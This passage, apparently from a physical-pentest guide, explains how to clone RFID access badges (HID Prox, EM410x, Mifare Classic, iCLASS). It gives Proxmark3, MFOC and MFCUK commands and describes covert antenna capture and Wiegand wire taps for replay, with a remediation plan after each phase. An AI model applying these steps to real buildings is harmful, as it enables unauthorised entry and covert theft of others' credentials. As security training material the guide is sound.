MHz).</strong> This is the newer family, based on ISO 14443. The card is still passive and powered by the reader’s field, but it has a real microcontroller with storage and (sometimes) cryptography. Cards in this family include Mifare Classic, Mifare DESFire, Mifare Plus, and HID iCLASS and Seos. Read range is similar to LF, around 5 to 10 cm.</p><p>HF cards split into two camps by security. Mifare Classic uses the proprietary Crypto-1 cipher, which is broken: the keys can be recovered and the card fully cloned. Mifare DESFire, Mifare Plus, and HID Seos use real AES or DES cryptography with anti-cloning measures, and they are not directly cloneable. For those, attackers pivot to legacy downgrade, weak configuration, or reader side attacks.</p><h3>The Wiegand protocol (reader to controller)</h3><p>When the reader reads a card, it has to tell the door controller what it saw. The dominant protocol for this is Wiegand. Wiegand sends the badge number as a stream of voltage changes over two data wires (Data0 and Data1) plus a ground. There is no encryption, no authentication, and no tamper detection. The most common format is 26-bit Wiegand: one parity bit, then an 8-bit facility code, then a 16-bit card number, then a trailing parity bit.</p><p>Because Wiegand is cleartext, an attacker who taps the reader to controller wires can capture any badge number that walks past, and can replay it later by injecting the same voltage pattern onto the wires. This is the single biggest weakness in legacy access control, and it affects the vast majority of installed readers because Wiegand has been the standard for decades.</p><h3>OSDP (the modern replacement)</h3><p>OSDP (Open Supervised Data Protocol) is the modern replacement for Wiegand. It runs over RS-485, supports bidirectional communication, tamper detection, and an optional AES-128 Secure Channel. When Secure Channel is enabled and enforced, OSDP protects the reader to controller link against capture and replay.</p><p>But OSDP has its own weaknesses in practice. Secure Channel is optional, and many deployments ship without it. Even when enabled, some readers and controllers accept a downgrade to plaintext, so an attacker who taps the wire can tell the controller the reader does not support encryption and capture the credential anyway. So OSDP is a real improvement, but only when Secure Channel is both enabled and enforced (Secure Channel Required mode).</p><h3>The attacker toolkit</h3><p>These are the tools a physical pentester carries for access card work. All of them are open source or widely available, and each has a verified GitHub repository or vendor link.</p><p><strong>Proxmark3 RDV4</strong> is the reference RFID research tool. It can read, write, emulate, and sniff both LF and HF cards, and it is the tool you reach for when a Flipper cannot handle the card. GitHub: <a href="https://github.com/RfidResearchGroup/proxmark3">https://github.com/RfidResearchGroup/proxmark3</a></p><p><strong>Flipper Zero</strong> is a multi-tool that handles LF RFID, NFC, Sub-GHz remotes, and infrared, all from a pocket sized device with a screen. It is the easiest tool for cloning a standard LF fob on site. GitHub: <a href="https://github.com/flipperdevices/flipperzero-firmware">https://github.com/flipperdevices/flipperzero-firmware</a></p><p><strong>RFIDler</strong> is an open source LF RFID tool for reading and emulating 125 kHz cards. GitHub: <a href="https://github.com/ApertureLabsLtd/RFIDler">https://github.com/ApertureLabsLtd/RFIDler</a></p><p><strong>ACR122U</strong> is a cheap USB NFC reader/writer used with software like MFOC and MFCUK to attack Mifare Classic cards from a laptop. Vendor: <a href="https://www.acs.com.hk/en/products/3/acr122u-nfc-smart-card-reader-writer/">https://www.acs.com.hk/en/products/3/acr122u-nfc-smart-card-reader-writer/</a></p><p><strong>MFOC (Mifare Classic Offline Cracker)</strong> recovers Mifare Classic keys using the nested attack. GitHub: <a href="https://github.com/nfc-tools/mfoc">https://github.com/nfc-tools/mfoc</a></p><p><strong>MFCUK</strong> recovers Mifare Classic keys with the darkside attack when nested fails. GitHub: <a href="https://github.com/nfc-tools/mfcuk">https://github.com/nfc-tools/mfcuk</a></p><p><strong>Mifare Classic Tool (MCT)</strong> is an Android app that reads and writes Mifare Classic cards from a phone with NFC. GitHub: <a href="https://github.com/ikarus23/MifareClassicTool">https://github.com/ikarus23/MifareClassicTool</a></p><p><strong>libnfc</strong> is the base library that most NFC tools build on. GitHub: <a href="https://github.com/nfc-tools/libnfc">https://github.com/nfc-tools/libnfc</a></p><h3>Phase 1: Reconnaissance</h3><p>Before you touch a card, you have to know what you are dealing with. The card’s frequency, chip, and protocol decide the whole attack path. Reconnaissance is mostly reading and observation.</p><h3>Step 1: Identify the reader manufacturer</h3><p>Walk up to the reader and read the label. The manufacturer is usually printed on the front or back: HID, Assa Abloy, Gallagher, Verkada, dormakaba, Mifare. The brand tells you a lot about the card family:</p><ul><li><strong>HID Prox, HID iCLASS, HID Seos:</strong> 125 kHz Prox, 13.56 MHz iCLASS, or modern Seos.</li><li><strong>Assa Abloy / HID Global:</strong> often iCLASS or Seos.</li><li><strong>Gallagher:</strong> proprietary, often high security, harder to clone.</li><li><strong>Verkada:</strong> modern, often OSDP or cloud, harder to clone.</li><li><strong>dormakaba:</strong> mixed, often legacy Wiegand with Mifare or Prox.</li></ul><p>If the reader has an OSDP or Wiegand label, note it. OSDP with Secure Channel changes your attack path.</p><h3>Step 2: Identify the card type with a Flipper or Proxmark</h3><p>Hold the card to a Flipper Zero and read it. The Flipper auto-detects the protocol and tells you the type: EM410x, HID Prox, Indala (LF), or Mifare Classic, Mifare Ultralight, NFC (HF). If the Flipper cannot read it, it is likely a higher security card (iCLASS, DESFire, Seos) and you escalate to a Proxmark3.</p><p>On a Proxmark3, run a low frequency hunt first, then a high frequency search:</p><pre># Proxmark3: find the card&#39;s frequency and type<br>pm3&gt; lf search<br># If that finds nothing, try high frequency<br>pm3&gt; hf search</pre><p>The Proxmark prints the chip type (for example ‘Valid HID Prox ID Found’ or ‘Mifare Classic 1k’), the UID, and the raw data. That output decides the next phase.</p><h3>Step 3: Note the reader to controller protocol</h3><p>If you can see the wiring at the reader (often accessible by removing the reader cover), count the wires. Wiegand uses four wires (Data0 green, Data1 white, ground, power). OSDP uses two wires (RS-485 A and B) plus power and ground. Two data wires usually means OSDP, four usually means Wiegand. This matters for Phase 7.</p><h3>Phase 2: LF 125 kHz card cloning (HID Prox and EM410x)</h3><p>This is the easiest and most common attack. LF cards carry a static unencrypted ID. Read it, write it to a blank T5577 card, and you have a working clone. The whole attack takes under a minute.</p><h3>What makes this attack succeed (the root cause)</h3><p>LF cards have zero security. The card is a passive chip that shouts one fixed ID every time the reader powers it. There is no encryption, no rolling code, no challenge and response, and no check that the card is genuine. The reader trusts any card that sends the right ID. So the moment you learn that ID and write it onto a blank card, the blank is accepted as the original. The ID never changes, so one read is enough forever.</p><h3>How to perform the attack (plain steps)</h3><ol><li>Hold the original badge near a Proxmark3 (or a Flipper Zero) and read its static ID with lf search.</li><li>Note the raw ID value the tool prints, for example 2004ec0006b2.</li><li>Place a blank T5577 card on the antenna and write that ID with lf hid clone 2004ec0006b2.</li><li>Read the blank back with lf search to confirm it returns the same ID.</li><li>Walk to the door and present the clone. The door opens.</li></ol><h3>What happens if the attack succeeds (the consequence)</h3><p>You now hold a perfect duplicate of a legitimate badge. You can open every door that badge is authorized for, at any time, without the owner knowing a copy exists. You can hand copies to teammates and each copy works independently. The clone keeps working until the original badge is revoked in the controller, and because the controller revokes by ID (not by physical card), revoking the original revokes the clone too.</p><h3>Tool: Proxmark3 RDV4</h3><p>GitHub: <a href="https://github.com/RfidResearchGroup/proxmark3">https://github.com/RfidResearchGroup/proxmark3</a></p><p>Install the client on Linux or macOS:</p><pre>git clone https://github.com/RfidResearchGroup/proxmark3.git<br>cd proxmark3<br>make clean &amp;&amp; make all<br># Flash the firmware to the device (USB connected):<br>./pm3-flash-all<br># Start the client:<br>./pm3</pre><h3>Step 1: Read the original card</h3><p>Place the original card on the Proxmark antenna and run the LF search:</p><pre>pm3&gt; lf search</pre><p>The output looks like:</p><pre>Valid HID Prox ID Found!<br>HID Prox - HID H10301 26-bit<br>Facility Code: 23<br>Card Number: 12345<br>Raw: 2004ec0006b2</pre><p>Write down the raw value and the facility code and card number. The raw value is what you write to the clone.</p><h3>Step 2: Write the ID to a blank T5577 card</h3><p>Place a blank T5577 card on the antenna and write the captured data:</p><pre>pm3&gt; lf hid clone 2004ec0006b2</pre><p>For an EM410x card instead, use:</p><pre>pm3&gt; lf em 410x clone 0a3e1f2c</pre><h3>Step 3: Verify the clone</h3><p>Read the clone back to confirm it returns the same ID:</p><pre>pm3&gt; lf search</pre><p>You should see the same HID Prox ID and the same facility code and card number. The clone is now a working duplicate of the original badge.</p><h3>Tool: Flipper Zero (easier on site)</h3><p>GitHub: <a href="https://github.com/flipperdevices/flipperzero-firmware">https://github.com/flipperdevices/flipperzero-firmware</a></p><p>The Flipper makes the whole LF attack a few button presses:</p><pre># On the Flipper:<br># 1. Go to RFID app<br># 2. Read, hold the original card to the back<br># 3. Save the card<br># 4. Go to Saved, select the card, Write, hold a blank T5577 to the back<br># 5. Verify by reading the clone</pre><h3>Tool: RFIDler (for scripting)</h3><p>GitHub: <a href="https://github.com/ApertureLabsLtd/RFIDler">https://github.com/ApertureLabsLtd/RFIDler</a></p><p>RFIDler is a programmable LF tool good for scripting bulk reads:</p><pre>git clone https://github.com/ApertureLabsLtd/RFIDler.git<br>cd RFIDler/firmware<br># Build and flash per the README, then via serial:<br>RFIDler&gt; READ<br>RFIDler&gt; EM<br>RFIDler&gt; CONFIG LF_DEVICE=EM410X<br>RFIDler&gt; WRITE 0a3e1f2c</pre><h3>Operational notes</h3><ul><li>LF read range is 5 to 15 cm. You cannot clone an LF card from across the room, but you can clone one from a card sitting on a desk or in a lanyard with a quick bump.</li><li>T5577 is the universal LF blank. It can emulate HID Prox, EM410x, Indala, and most other LF formats.</li><li>The clone carries the same static ID forever. If the original card is later revoked, the clone is also revoked, because the controller revokes by ID, not by physical card.</li><li>This attack works against every unencrypted LF system, which is still a large fraction of installed access control.</li></ul><h3>Remediation plan</h3><p>The defense is to stop trusting a static ID alone.</p><ol><li><strong>Replace static ID cards.</strong> Move to Mifare DESFire, Mifare Plus, or HID Seos. These use real cryptography and mutual authentication, so a copied ID is useless because the card will not answer an unknown reader.</li><li><strong>Add a second factor.</strong> If LF must stay, add a PIN pad or biometric so a cloned badge alone cannot open the door.</li><li><strong>Protect the reader link.</strong> Move from Wiegand to OSDP with enforced Secure Channel, so a captured ID cannot be replayed on the wire (see Phase 7).</li><li><strong>Shield the card.</strong> Issue shielded badge holders or sleeves so the card only powers when the user intentionally presents it, which also defeats long range capture (Phase 6).</li><li><strong>Monitor and revoke fast.</strong> Alert on the same badge used at two doors within an impossible time, on off hours use, and revoke lost or suspected compromised badges immediately.</li></ol><h3>Phase 3: HF 13.56 MHz Mifare Classic cloning (the nested attack)</h3><p>Mifare Classic is the most common high frequency access card in the world. It uses the proprietary Crypto-1 cipher, which is broken. The keys can be recovered with the nested attack (or the hardnested attack for newer cards), and then the whole card is cloned to a magic UID card. This phase is the core of most HF access card work.</p><h3>How Mifare Classic is structured</h3><p>A Mifare Classic 1k card has 16 sectors, each with 4 blocks of 16 bytes. Each sector has its own pair of keys (Key A and Key B) stored in the last block of the sector (the sector trailer), along with access bits that say what each key can do. To read or write a sector, you must authenticate with one of its keys first.</p><p>The weakness is in the Crypto-1 cipher’s pseudo-random number generator. It is predictable, which lets an attacker recover keys. The nested attack exploits the fact that once you know one sector’s key (often a default key on sector 0), you can derive the other sector keys from the predictable nonces the card emits. The hardnested attack is the newer version that works on cards not vulnerable to the classic nested attack, by exploiting the partial state leakage of the cipher.</p><h3>What makes this attack succeed (the root cause)</h3><p>Two weaknesses combine. First, the Mifare Classic Crypto-1 cipher has a predictable random number generator, so once you authenticate to one sector you can derive the other sector keys from the nonces the card emits (the nested attack). Second, almost every real deployment leaves at least one sector with a well known default key (like FFFFFFFFFFFF, A0A1A2A3A4A5, D3F7D3F7D3F7). That one default key is the foothold: it lets the nested attack recover every other key, and once you have all the keys the whole card is readable and clonable.</p><h3>How to perform the attack (plain steps)</h3><ol><li>Plug an ACR122U reader into a laptop, place the Mifare card on it, and run mfoc -O card_dump.mfd.</li><li>MFOC tries the default keys. The moment it finds one, it runs the nested attack to recover all the other sector keys.</li><li>MFOC dumps a full binary copy of the card (all blocks and keys) to card_dump.mfd.</li><li>If MFOC fails (card patched against nested), switch to the hardnested branch or MFCUK and repeat.</li><li>Place a magic Mifare Gen1 or Gen2 card on the reader and write the dump with nfc-mfclassic W card_dump.mfd card_dump.mfd.</li><li>The clone now has the same UID, keys, and data. Present it at the door and it opens.</li></ol><h3>What happens if the attack succeeds (the consequence)</h3><p>You get a full clone of the encrypted card, not just the ID. The clone carries the same UID, the same keys, and the same data blocks, so it passes every check the reader does, including the encrypted authentication. You can open every door that card is authorized for, and because you have the keys you can also read and copy any future card from the same site (the keys are often reused across all cards in a deployment).</p><h3>Tool: MFOC (Mifare Classic Offline Cracker)</h3><p>GitHub: <a href="https://github.com/nfc-tools/mfoc">https://github.com/nfc-tools/mfoc</a></p><p>MFOC automates the nested attack. It takes a known key (or a list of default keys) and recovers all the sector keys, then dumps the full card.</p><p>Install on Linux:</p><pre>git clone https://github.com/nfc-tools/mfoc.git<br>cd mfoc<br>autoreconf -i<br>./configure<br>make<br>sudo make install<br># You also need libnfc:<br>git clone https://github.com/nfc-tools/libnfc.git<br>cd libnfc &amp;&amp; autoreconf -i &amp;&amp; ./configure &amp;&amp; make &amp;&amp; sudo make install</pre><h3>Step 1: Recover the keys and dump the card</h3><p>Plug in an ACR122U reader and place the Mifare card on it. Run MFOC:</p><pre># Recover all keys and dump the card to a file<br>mfoc -O card_dump.mfd</pre><p>MFOC tries the known default keys first. When it finds one, it uses the nested attack to recover the rest. Output looks like:</p><pre>Found Mifare Classic 1k tag<br>Using sector 00 as an exploit sector<br>Sector 00 - Found Key A: a0a1a2a3a4a5<br>Sector 01 - Found Key A: d3f7d3f7d3f7<br>...<br>Sector 15 - Found Key A: ffffffffffff<br>Dumping card contents to card_dump.mfd</pre><p>The dump file card_dump.mfd is a full binary copy of the card, including all keys and data.</p><h3>Step 2: If nested fails, use the hardnested attack</h3><p>Some cards are not vulnerable to the basic nested attack. For those, use the hardnested branch of MFOC or MFCUK.</p><p>Hardnested (build the hardnested branch of MFOC):</p><pre>git clone https://github.com/nfc-tools/mfoc.git<br>cd mfoc<br>git checkout hardnested<br>autoreconf -i &amp;&amp; ./configure &amp;&amp; make<br># Run with a known key to bootstrap:<br>mfoc-hardnested -k a0a1a2a3a4a5 -O card_dump.mfd</pre><p>MFCUK (the darkside attack, for cards that resist nested):</p><p>GitHub: <a href="https://github.com/nfc-tools/mfcuk">https://github.com/nfc-tools/mfcuk</a></p><pre>git clone https://github.com/nfc-tools/mfcuk.git<br>cd mfcuk &amp;&amp; autoreconf -i &amp;&amp; ./configure &amp;&amp; make<br># Recover keys:<br>mfcuk -C -R 0:A -s 250 -x 1000<br># Then dump with the recovered keys using MFOC or nfc-mfclassic</pre><h3>Step 3: Write the dump to a magic UID card</h3><p>A normal blank Mifare card will not accept a write to block 0 (the manufacturer block with the UID), so you cannot clone a card whose UID you want to preserve with a normal blank. You need a ‘magic’ card, a card with a backdoor that lets you rewrite block 0. The xM1 (Gen1) and the Magic Mifare 1k are the common blanks.</p><p>Write the dump with nfc-mfclassic (from libnfc tools):</p><pre># Write the full dump (keys A and B) to a magic card<br>nfc-mfclassic W card_dump.mfd card_dump.mfd</pre><p>The clone now has the same UID, same keys, and same data as the original. To a reader it is indistinguishable.</p><h3>Tool: Mifare Classic Tool (Android)</h3><p>GitHub: <a href="https://github.com/ikarus23/MifareClassicTool">https://github.com/ikarus23/MifareClassicTool</a></p><p>For on site work, MCT on a rooted Android phone with NFC does the whole flow:</p><pre># 1. Open MCT, Read Tag<br># 2. MCT tries default keys and shows which sectors it cracked<br># 3. Use &#39;Read Sector&#39; with the recovered keys to dump the card<br># 4. &#39;Write Tag&#39; with a magic card placed on the phone&#39;s NFC</pre><h3>Operational notes</h3><ul><li>The nested attack needs at least one known key. Always try the default keys first, they work on a surprising number of real deployments.</li><li>Hardnested is slower (minutes to hours) and needs many card interactions. It is for cards that patched the classic nested weakness.</li><li>Magic Gen1 cards are blocked by some modern readers that detect the backdoor. Gen2 magic cards are stealthier. Match the blank to the target reader.</li><li>If the card is Mifare DESFire, Mifare Plus, or Mifare Ultralight C, the nested attack does not apply. Those use real cryptography and need a different approach (often configuration weakness or reader downgrade).</li></ul><h3>Remediation plan</h3><p>The defense is to remove the default key foothold and to move off the broken Crypto-1 cipher.</p><ol><li><strong>Replace Mifare Classic.</strong> Move to Mifare DESFire or Mifare Plus (AES based, not vulnerable to nested). This is the only complete fix.</li><li><strong>If Classic must stay, kill the foothold.</strong> Replace every default key with a strong random unique per card key, set the access bits so keys cannot be read back, and disable key B if unused. The nested attack needs at least one known key, so do not leave any default key on any sector.</li><li><strong>Never authenticate by UID alone.</strong> The UID is public and copyable. Access decisions must depend on the encrypted data and the keys, not the UID.</li><li><strong>Protect the reader link</strong> with OSDP enforced Secure Channel, and add a second factor for sensitive doors.</li><li><strong>Detect the attack in progress.</strong> Alert on a spike of authentication failures against one card (a sign of nested or hardnested running), which can give early warning before keys are fully recovered.</li></ol><h3>Phase 4: HID iCLASS cloning</h3><p>HID iCLASS is the encrypted high frequency credential from HID Global. It uses a proprietary cipher (iCLASS Standard) or AES (iCLASS Elite and SE). The Standard iCLASS cipher has been reversed, and with the right tools you can read and clone legacy iCLASS cards. Elite and SE are harder and often not directly cloneable.</p><h3>What makes this attack succeed (the root cause)</h3><p>Legacy iCLASS Standard uses a proprietary cipher whose master keys were reverse engineered and published years ago. The card derives its per-card keys from those master keys, so with the published master keys a Proxmark3 can decrypt the card’s data blocks and write them to a blank iCLASS card. The reader cannot tell the clone from the original because the clone carries the exact encrypted data the reader expects to see. For iCLASS Elite and SE the key diversification is stronger and the published keys do not work, so attackers pivot to a downgrade attack (if the reader also accepts legacy iCLASS or Prox) or to reader side attacks.</p><h3>How to perform the attack (plain steps)</h3><ol><li>Hold the iCLASS card to a Proxmark3 and run hf search, then hf iclass info to confirm the iCLASS variant.</li><li>Run hf iclass read to read the configuration block and the data blocks decrypted with the known keys.</li><li>Place a blank iCLASS card on the antenna and run hf iclass clone --csn 0a3e1f2c to write the captured data.</li><li>If the reader is a newer Seos or Elite model, test a downgrade: present the cloned legacy iCLASS card and see if the reader accepts legacy credentials.</li><li>Walk to the door and present the clone. The door opens.</li></ol><h3>What happens if the attack succeeds (the consequence)</h3><p>You hold a working clone of an encrypted HID credential, which means you can open every door that card is authorized for, including high security areas that use iCLASS specifically because they believe it is encrypted and safe. The downgrade variant extends this to sites that have upgraded to Seos but left legacy support on, so one legacy clone defeats the whole upgrade. The clone works until the original credential is revoked.</p><h3>Tool: Proxmark3 with iCLASS support</h3><p>GitHub: <a href="https://github.com/RfidResearchGroup/proxmark3">https://github.com/RfidResearchGroup/proxmark3</a></p><p>The Proxmark3 RDV4 with the current firmware supports iCLASS read and clone.</p><h3>Step 1: Read the iCLASS card</h3><pre>pm3&gt; hf search<br># If it identifies an iCLASS card:<br>pm3&gt; hf iclass info<br>pm3&gt; hf iclass read</pre><p>The Proxmark prints the configuration block, the credential, and the data blocks it can decrypt with the known iCLASS keys.</p><h3>Step 2: Clone to a blank iCLASS card</h3><pre>pm3&gt; hf iclass clone --csn 0a3e1f2c</pre><p>Some iCLASS readers check the card’s configuration block (the CSN and the legacy data). The clone has to match the expected configuration or the reader rejects it.</p><h3>Step 3: Seos downgrade (when iCLASS is too new)</h3><p>If the target uses HID Seos (the modern encrypted credential), direct cloning is not feasible. But many Seos readers are configured to fall back to legacy iCLASS or Prox for backwards compatibility. In that case you can present a cloned legacy iCLASS card and the reader accepts it. This is the downgrade attack, and it works because backwards compatibility is rarely disabled.</p><p>The flip side: if the reader is configured for Seos only, cloning is off the table and you pivot to reader side attacks (Phase 7) or to other physical bypasses (door latch, tailgating, etc.).</p><h3>Operational notes</h3><ul><li>iCLASS Standard is cloneable with published keys. iCLASS Elite and SE are much harder. Identify the exact iCLASS variant during recon.</li><li>Seos downgrade only works if the reader accepts legacy credentials. Test it during recon by presenting a legacy iCLASS clone and watching if the reader beeps differently or rejects it cleanly.</li><li>iCLASS cards are more expensive blanks than LF T5577. Carry a few iCLASS blanks if the engagement is likely to encounter them.</li></ul><h3>Remediation plan</h3><p>The defense is to upgrade off the published key generation and to close the downgrade path.</p><ol><li><strong>Upgrade to iCLASS SE or HID Seos.</strong> These use AES with secure per card key diversification and are not vulnerable to the published Standard keys.</li><li><strong>Disable legacy backwards compatibility on Seos readers.</strong> The downgrade attack only works if the reader still accepts legacy iCLASS or Prox. Turn legacy acceptance off so a cloned legacy card is rejected.</li><li><strong>If Standard iCLASS must stay, use iCLASS Elite</strong> with unique per site keys rather than the globally published Standard keys, and treat any remaining Standard deployment as publicly broken.</li><li><strong>Protect the reader link</strong> with OSDP enforced Secure Channel, and shield cards to defeat long range capture (Phase 6).</li><li><strong>Rotate and audit.</strong> Rotate credentials periodically and alert on a credential used after a long gap or from a new location.</li></ol><h3>Phase 5: Writing to blank cards (the blanks reference)</h3><p>Choosing the right blank is part of the attack. The blank has to match the protocol and, for HF, the magic level.</p><h3>LF blanks</h3><p><strong>T5577.</strong> The universal LF blank. Emulates HID Prox, EM410x, Indala, and most other 125 kHz formats. Write with Proxmark3 lf hid clone, lf em 410x clone, or the Flipper RFID app. This is the blank you carry for almost every LF engagement.</p><p><strong>HID ProxCard II blank.</strong> A genuine HID blank for when the reader checks for HID specific features. More expensive, less flexible than T5577.</p><h3>HF blanks</h3><p><strong>Magic Mifare 1k Gen1 (xM1).</strong> The basic HF clone blank. Lets you rewrite block 0 (the UID) and every block. Detectable by some modern readers that check for the Gen1 backdoor. Write with nfc-mfclassic or MCT.</p><p><strong>Magic Mifare 1k Gen2.</strong> A stealthier blank that hides the backdoor. Use when the target reader is known to block Gen1. Write the same way as Gen1.</p><p><strong>Magic Mifare Ultralight / NTAG.</strong> For cloning Ultralight cards (common in transit and event passes). Write with nfc-mf ultralight or MCT.</p><p><strong>iCLASS blank (genuine or compatible).</strong> For iCLASS clones. More expensive and harder to source. Write with Proxmark3 hf iclass clone.</p><h3>How to verify a clone before you go to the door</h3><p>Always verify the clone with the same reader you used to read the original, or with the Proxmark/Flipper read command. The clone should return the exact same UID and data. A clone that reads back clean in the lab but fails at the door usually means a magic level mismatch (Gen1 blocked) or a configuration block mismatch (iCLASS).</p><h3>Operational notes</h3><ul><li>Carry a mixed set of blanks: a few T5577, a few Gen1 and Gen2 magic Mifare, and one or two iCLASS blanks. You do not always know the card type before recon.</li><li>Label your blanks. A pile of identical looking cards in a bag is a mess under time pressure.</li><li>Keep blanks away from strong magnets and the Proxmark antenna when not writing. Accidental writes are annoying.</li></ul><h3>Phase 6: Long range and capture attacks</h3><p>So far we assumed you can get close to the card (within 15 cm). But sometimes you cannot, and sometimes you want to capture a badge without the holder noticing. Long range attacks use a bigger antenna or a different radio band to read cards at distance.</p><h3>What makes this attack succeed (the root cause)</h3><p>The card is passive and has no idea who is powering it. Any antenna that produces the right magnetic field will make the card shout its ID, and the card cannot tell a legitimate reader from an attacker’s hidden antenna. Combined with the static, unencrypted ID (LF) or a cloneable tag (UHF), this means anyone who gets a field close enough to the card gets the credential. The user is never warned that their card was read.</p><h3>How to perform the attack (plain steps)</h3><ol><li>Build a concealed LF antenna into a clipboard, a laptop skin, or a door frame pad, connected to a Proxmark3 in sniffer mode.</li><li>Stand or walk where badges pass close (a lobby choke point, a turnstile, a door frame).</li><li>The Proxmark logs the ID of every card its field powers, without the holder noticing.</li><li>Walk away with the log, read out the captured IDs, and clone each one to a T5577 (LF) or the right UHF blank later.</li><li>Use the clone at the door.</li></ol><h3>What happens if the attack succeeds (the consequence)</h3><p>You capture badge IDs from many people in a single trip through a busy area, with no physical contact and no social engineering. Each captured ID becomes a working clone, so one visit to a lobby can yield dozens of valid badges. Because nobody saw a device touch their badge, there is no suspicion and no incident to report until the cloned badges are used.</p><h3>LF long range (the physics limit)</h3><p>LF (125 kHz) read range is physically limited by the magnetic field that powers the card. The practical rule of thumb is that the max read range is one to two times the diameter of the reader antenna. A normal reader with a small antenna reads at 5 to 15 cm. A custom large antenna (a 30 cm or larger loop) can push that to roughly 30 to 50 cm, sometimes a bit more with a tuned amplifier.</p><p>This is enough to read a card in someone’s pocket as they brush past a concealed antenna in a bag, a poster, or a door frame. It is not enough to read across a room. For real distance you need to move to UHF.</p><h3>UHF long range (the different band)</h3><p>Some access systems use UHF (860 to 960 MHz) for long range vehicle or gate access (for example, EPC Gen2 windshield tags). UHF reads at several meters, up to 20 meters with a high gain antenna. UHF tags are passive and carry a static EPC ID, so they are cloneable the same way LF tags are, just on a different band and with different hardware.</p><p>Tool for UHF capture: a UHF RFID reader like the Invengo XC-9912 or a software defined radio with UHF RFID decoding. These are not common in physical pentest kits because UHF access is rare, but worth knowing for vehicle gate engagements.</p><h3>The ‘shadow’ attack (capture without a reader)</h3><p>When you cannot read the card directly, capture it in transit. The classic shadow attack: build a concealed LF antenna into a clipboard, a laptop skin, or a door frame pad. Walk past the target with the antenna, the Proxmark in sniffer mode captures the badge ID, and you clone it later. This is how you get a badge from a busy lobby without ever talking to anyone.</p><p>Proxmark3 sniff mode for LF:</p><pre>pm3&gt; lf sniff<br># The Proxmark listens for any LF card powered by a nearby reader and logs the ID<br># Walk the concealed antenna past a badge, then read the log:<br>pm3&gt; lf sniff</pre><h3>Operational notes</h3><ul><li>LF long range caps around 30 to 50 cm with a big custom antenna. Do not expect room scale reads.</li><li>UHF is the only way to read at meters of distance, and only if the target uses UHF tags.</li><li>The shadow attack is about placement and concealment, not antenna size. A well placed small antenna in a high traffic spot captures more badges than a big antenna you can only use once.</li></ul><h3>Remediation plan</h3><p>The defense is to stop the card from answering unknown readers and to make capture distance impossible.</p><ol><li><strong>Use cards that refuse unknown readers.</strong> Seos and DESFire do mutual authentication, so a hidden sniffer reader cannot make them emit a usable credential.</li><li><strong>Shield the card.</strong> Issue shielded badge holders or Faraday sleeves so the card only powers when intentionally presented at a legitimate reader. This is the single cheapest and most effective control against the shadow attack.</li><li><strong>Position readers away from public flow.</strong> Do not mount readers where a person can brush past at close range without badging, so a concealed antenna cannot get within read range.</li><li><strong>For UHF gate systems</strong>, use encrypted and authenticated EPC tags and rotate them, and do not rely on the static EPC alone for the access decision.</li><li><strong>Sweep for rogue devices.</strong> Physically inspect entry points and high traffic choke points for concealed antennas and unknown readers during regular security walks.</li></ol><h3>Phase 7: Reader side attacks (Wiegand and OSDP)</h3><p>When the card itself is not cloneable (DESFire, Seos, Elite), the attack moves to the reader to controller link. The reader has to send the badge number to the controller somehow, and that link is often weak.</p><h3>What makes this attack succeed (the root cause)</h3><p>The Wiegand protocol sends the badge number as plain voltage pulses on two wires, with no encryption, no authentication, and no tamper detection. The controller trusts whatever pattern arrives on those wires. So an attacker who touches the wires can record any badge that opens the door, and can replay that exact pattern later to open the door as that badge. OSDP can fix this with an enforced AES Secure Channel, but most deployments either do not enable it or accept a downgrade to plaintext, so the weakness persists.</p><h3>How to perform the attack (plain steps)</h3><ol><li>Remove the reader from the wall (usually two tamper screws) to reach the Data0 and Data1 wires.</li><li>Tap both data wires with a tiny microcontroller (Arduino or Pi Pico, under 10 dollars) that logs the bit patterns to flash.</li><li>Put the reader back and leave the logger in place while people badge in normally.</li><li>Come back, read the log, and decode each 26-bit pattern into a facility code and card number.</li><li>To replay, connect the microcontroller to the controller side of the data wires and drive Data0 and Data1 with the captured pattern for the badge you want to impersonate. The controller unlocks the door.</li></ol><h3>What happens if the attack succeeds (the consequence)</h3><p>You can open the door as any badge you captured, including high security badges that were never cloneable at the card level (DESFire, Seos). You also get a full log of who entered and when, which is useful for scheduling further access. Because the attack sits on the wire, it bypasses every card side security upgrade entirely, so even a site that moved to Seos stays vulnerable until the reader link itself is fixed with enforced OSDP Secure Channel.</p><h3>The Wiegand tap (capture and replay)</h3><p>Wiegand sends the badge number as voltage pulses on two wires (Data0 and Data1) in cleartext. If you can get to those wires (often accessible by removing the reader from the wall, which is usually just two screws), you can tap them and capture every badge that opens the door.</p><p>The attack hardware is tiny: a microcontroller (Arduino, Raspberry Pi Pico) reading the two data wires, logging the bit patterns to flash. You can build it for under 10 dollars. Deploy it, leave it, come back, and you have a log of every badge that walked through the door, with timestamps.</p><p>To replay, the same microcontroller drives the Data0 and Data1 lines with the captured pattern. The controller sees a valid badge open the door and unlocks it. There is no encryption to defeat, because Wiegand has 